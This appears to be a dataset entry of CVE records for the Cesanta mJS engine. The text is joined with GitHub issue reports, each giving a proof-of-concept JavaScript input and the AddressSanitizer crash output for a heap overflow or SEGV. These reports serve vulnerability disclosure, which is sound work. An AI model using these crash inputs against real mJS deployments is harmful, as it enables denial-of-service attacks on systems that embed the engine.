Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ====ABORTING ```

Global-buffer-overflow src/mjs_json.c:81 in snquote

https://api.github.com/repos/cesanta/mjs/issues/191/comments

2021-12-31T05:31:36Z

2021-12-31T05:31:36Z

https://github.com/cesanta/mjs/issues/191

CVE-2021-46527

2022-01-27T21:15:10.250

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_get_cstring at src/mjs_string.c.

https://github.com/cesanta/mjs/issues/197

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function JSEtest(a) { (typeof((typeof"cookie-present" !== gc("$$abcdabcd")) !== function() { return 100; })) !== function() { return 100; }; if ("cookie-present" !== gc("$$abcdabcd")) gc(true); if (a < 10) load(gc(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp'])));; if (a < 1) JSEtest(a+1);; } JSEtest(0) ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js =====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000000203 at pc 0x5581d25fa021 bp 0x7ffff5880770 sp 0x7ffff5880760 READ of size 1 at 0x60f000000203 thread T0 #0 0x5581d25fa020 in mjs_get_cstring src/mjs_string.c:213 #1 0x5581d253f5aa in mjs_load src/mjs_builtin.c:58 #2 0x5581d2559244 in mjs_execute src/mjs_exec.c:853 #3 0x5581d2562a05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x5581d2562a05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x5581d251f909 in main src/mjs_main.c:47 #6 0x7f20b4fd4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x5581d2520449 in _start (/usr/local/bin/Gmjs+0xe449) Address 0x60f000000203 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring Shadow bytes around the buggy address: 0x0c1e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1e7fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1e7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c1e7fff8020: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00 0x0c1e7fff8030: 00 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa =>0x0c1e7fff8040:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring

https://api.github.com/repos/cesanta/mjs/issues/197/comments

2021-12-31T05:39:31Z

2022-01-12T02:19:19Z

https://github.com/cesanta/mjs/issues/197

CVE-2021-46528

2022-01-27T21:15:10.293

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x5361e. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/cesanta/mjs/issues/208

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function D(i) { [i] } function A() { return D.apply - 1; } function JSEtest(i) { return A(i, 1, 2, 3); } JSEtest(0.2)(0.2) ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0) ==76668==The signal is caused by a WRITE memory access. #0 0x561aeef9161e (/usr/local/bin/mjs+0x5361e) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e) ==76668==ABORTING ```

SEGV (/usr/local/bin/mjs+0x5361e)

https://api.github.com/repos/cesanta/mjs/issues/208/comments

2021-12-31T07:44:06Z

2021-12-31T07:44:06Z

https://github.com/cesanta/mjs/issues/208

CVE-2021-46529

2022-01-27T21:15:10.337

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x8814e. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/cesanta/mjs/issues/210

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript JSON.stringify--(JSON.stringify(typeof print)); ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==58172==ERROR: AddressSanitizer: SEGV on unknown address 0x55c8c4e9b0dc (pc 0x55c8c4e9b14f bp 0x00000000004c sp 0x7ffe0757c308 T0) ==58172==The signal is caused by a WRITE memory access. #0 0x55c8c4e9b14e (/usr/local/bin/mjs+0x8814e) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x8814e) ==58172==ABORTING ``` Credits: Found by OWL337 team.

SEGV (/usr/local/bin/mjs+0x8814e)

https://api.github.com/repos/cesanta/mjs/issues/210/comments

2021-12-31T07:46:17Z

2022-01-12T02:20:50Z

https://github.com/cesanta/mjs/issues/210